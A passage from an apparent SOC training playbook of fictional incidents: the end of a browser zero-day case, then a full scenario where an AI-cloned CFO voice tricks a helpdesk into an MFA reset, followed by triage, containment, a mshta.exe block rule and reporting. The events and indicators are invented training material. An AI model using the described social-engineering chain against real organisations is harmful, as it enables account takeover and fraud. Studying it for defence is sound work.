Deploy emergency updates and block mshta.exe execution until further notice.

### **SOC to IR**

Ransomware staging detected through DLLHost injection.

Full forensic collection required.

### **SOC to IAM**

Reset credentials for affected user.

Enable enhanced conditional access.

### **SOC to CISO**

Incident Notification: Browser Zero-Day Exploit

Summary:

- Chrome exploited on legitimate site
- In-memory payload execution
- Credential theft attempt
- Token replay from Netherlands
- Ransomware staging detected
- Contained before encryption

Impact: Medium–High

User: Senior Manager

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Chrome zero-day exploit via malicious ad on legitimate website.

### **What Attacker Achieved**

- In-memory execution
- Session cookie theft
- Cloud session replay
- Ransomware staging configuration
- Credential dump attempt

### **What Attacker Failed To Achieve**

- Did not gain credentials
- Did not encrypt files
- Did not move laterally
- Cloud admin portal access blocked
- EDR blocked LSASS injection

## **SCENARIO15: AI DEEPFAKE VOICE ATTACK → HELPDESK MFA RESET FRAUD → ACCOUNT TAKEOVER → CLOUD ADMIN ESCALATION ATTEMPT**

An attacker uses AI voice cloning to impersonate the CFO.

Objectives:

1. Trick helpdesk into resetting MFA.
2. Gain access to CFO's account.
3. Use cloud privileges to harvest financial data.
4. Attempt privilege escalation via OAuth application abuse.
5. Deploy malicious automation rules.

### **Events & Alerts**

#### **Alert 1 – ServiceNow Ticket: MFA Reset Request**

Ticket ID: INC-2025-55101

Created By: Helpdesk Agent (L1)

User Reported: CFO – "Dato' Mazlan"

Request Type: MFA Reset

Timestamp: 10:42 AM

Notes: "CFO called urgently requesting MFA reset due to lost phone."

#### **Alert 2 – Phone Call Metadata (PBX Logs)**

Caller ID: +60-11-1523-9801

Voice: Male, mid-50s (matches CFO profile)

Call Duration: 4m 12s

Sentiment: Urgent

Recognition Engine: High confidence voice match due to tone + cadence

(Caller ID spoofing + AI voice cloning.)

#### **Alert 3 – IAM MFA Reset Approved**

Action: Reset-MFA

Account: mazlan.cfo

Performed By: helpdesk.agent01

Time: 10:46 AM

Reason Code: "User verbally confirmed"

#### **Alert 4 – SIEM Detection: Impossible Travel**

User: mazlan.cfo

Logins:

- 10:48 AM – Malaysia IP (internal network)
- 10:49 AM – Germany IP (185.88.22.101)

Result: Flagged

### **Alert 5 – Azure Login with Fresh MFA**

Device: Unknown Browser

OS: Linux

Location: Germany

MFA Method: Authenticator App (newly registered after reset)

Outcome: Success

Attacker has full access to CFO's account.

### **Alert 6 – Privilege Escalation Attempt**

Action: Create OAuth Application

App Name: global-finance-sync

Permissions Requested:

- Mail.ReadWrite
- Directory.Read.All
- Files.ReadWrite.All
- User.ReadWrite.All

Initiator: mazlan.cfo (Germany IP)

Time: 10:51 AM

### **Alert 7 – Conditional Access Block**

Policy: "High Privilege Operation Location Lock"

Action: Blocked

Reason: Untrusted Location

### **Alert 8 – Attempted eDiscovery Search**

User: mazlan.cfo

Query: "Finance Transfer Approval"

Result: Blocked (Role insufficient)

## **3. SOC Workflow – End-to-End Breakdown**

### **Phase 1: Tier 1 Initial Triage**

## **Step 1 – Validate Alerts**

T1 sees:

- MFA reset
- Impossible travel
- Suspicious OAuth application
- Login from Germany within 1 minute of local login

## **Step 2 – Determine Severity**

Extremely high: possible executive account takeover.

## **Step 3 – Immediate Escalation**

Escalate to T2 and IAM immediately.

### **T1 Escalation Note to T2**

Subject: CRITICAL – CFO Account Takeover via MFA Reset Fraud

Hi T2,

CFO account accessed from Germany seconds after MFA reset by helpdesk.

Indicators:

- MFA reset requested via phone
- Impossible travel triggered
- New authenticator registered
- OAuth app creation attempt
- eDiscovery attempted

Potential deepfake voice impersonation attack.

## **Phase 2: Tier 2 Deep Analysis**

### **1. Attack Timeline**

10:42 – Attacker calls helpdesk using AI-generated CFO voice  
10:46 – Helpdesk resets MFA  
10:48 – CFO account login from Malaysia (session token)  
10:49 – Attacker login from Germany using new MFA  
10:51 – Attempted OAuth app creation (blocked)  
10:52 – Attempted financial data search (blocked)



## **2. Phone Audio Assessment**

Helpdesk reviews call:

- Tone identical to CFO
- Correct Malay-English mixed phrases
- Correct CFO-specific terminology:  
“Can you expedite this”, “I’m heading into a board session”, “very urgent”
- Background noise of “airport” simulation

This was deliberate AI augmentation.

## **3. IAM Review**

Reset performed under allowed process:

- Verbal confirmation
- Caller ID matching CFO’s number (spoofed)
- Tone matched CFO

Helpdesk followed SOP, meaning SOP is flawed for modern attacks.

## **4. Cloud Identity Analysis**

Germany login indicates token replay or direct login with new MFA.

Logs show:

Registered MFA device: Samsung SM-G998

IP: 185.88.22.101

OS: Android

This was attacker device.

## **5. Privilege Escalation Attempt**

Attacker attempted high-privilege OAuth app creation for persistence.

If successful, attacker would obtain:

- Email access
- SharePoint files
- Directory data
- Ability to impersonate users

## **6. Conclusion**

Tier 2 confirms:

AI deepfake voice was used to socially engineer helpdesk to reset MFA, enabling account takeover.

IR activation required.

### **Phase 3: Tier 3 Threat Hunting**

Tier 3 checks for:

- Additional MFA resets
- Unusual phone call patterns
- Cloud admin behaviour anomalies
- OAuth app deployment attempts
- Token replay activities

### **Findings**

- Only CFO targeted
- No lateral movement yet
- No data exfiltration occurred
- No further accounts compromised

High-risk but contained early.

### **Phase 4: Incident Classification**

Classification: AI Deepfake Voice Social Engineering → MFA Reset Fraud → Executive Account Takeover Attempt

Severity: Critical

Motivation: Data theft or financial fraud

### **Phase 5: Containment Actions**

#### **1. Immediate Lockdown**

Disable CFO account temporarily.

#### **2. Force global sign-out**

Revoke-AzureADUserAllRefreshToken mazlan.cfo

### **3. Reset password + enforce new MFA**

In-person verification required.

### **4. Delete attacker MFA device**

Remove registered Authenticator device

### **5. Disable all OAuth apps created by CFO**

Remove “global-finance-sync”.

### **6. Block IP ranges**

Add Germany attacker IP to blocklist.

### **7. Quarantine all sessions**

EDR forced logout on CFO workstation.

### **8. Begin forensic investigation**

- PBX audio logs
- Session tokens
- Cloud logs
- Helpdesk call recordings
- Attack timeline validation

## **Phase 6: SOC Communication Workflow**

### **SOC to IAM**

CFO account compromised through fraudulent MFA reset.  
Disable account and force password + MFA re-enrollment.

### **SOC to Helpdesk Lead**

Your team was targeted with AI voice phishing.  
We must update MFA reset verification SOP immediately.

### **SOC to Cloud Security**

OAuth app creation attempt detected.  
Verify no persistent cloud access remains.

## **SOC to IR Team**

Immediate activation required.

Executive account takeover via AI voice impersonation.

## **SOC to CISO**

Incident Notification: MFA Reset Fraud Using AI Deepfake Voice

Summary:

- Attacker cloned CFO voice accurately
- Helpdesk reset MFA based on call
- Attacker logged in from Germany
- Attempted cloud privilege escalation
- Containment successful

Impact: High risk, low data loss

## **Phase 7: Final Incident Report Summary**

### **Root Cause**

Helpdesk relied on **voice verification** and Caller ID as MFA reset authentication.

### **What Attacker Achieved**

- Successfully convinced helpdesk to reset MFA
- Gained access to CFO account
- Registered new MFA app
- Attempted to create malicious OAuth app
- Attempted financial data search

### **What Attacker Failed To Achieve**

- No eDiscovery access
- No admin privilege escalation
- No data exfiltration
- No internal lateral movement
- No financial fraud executed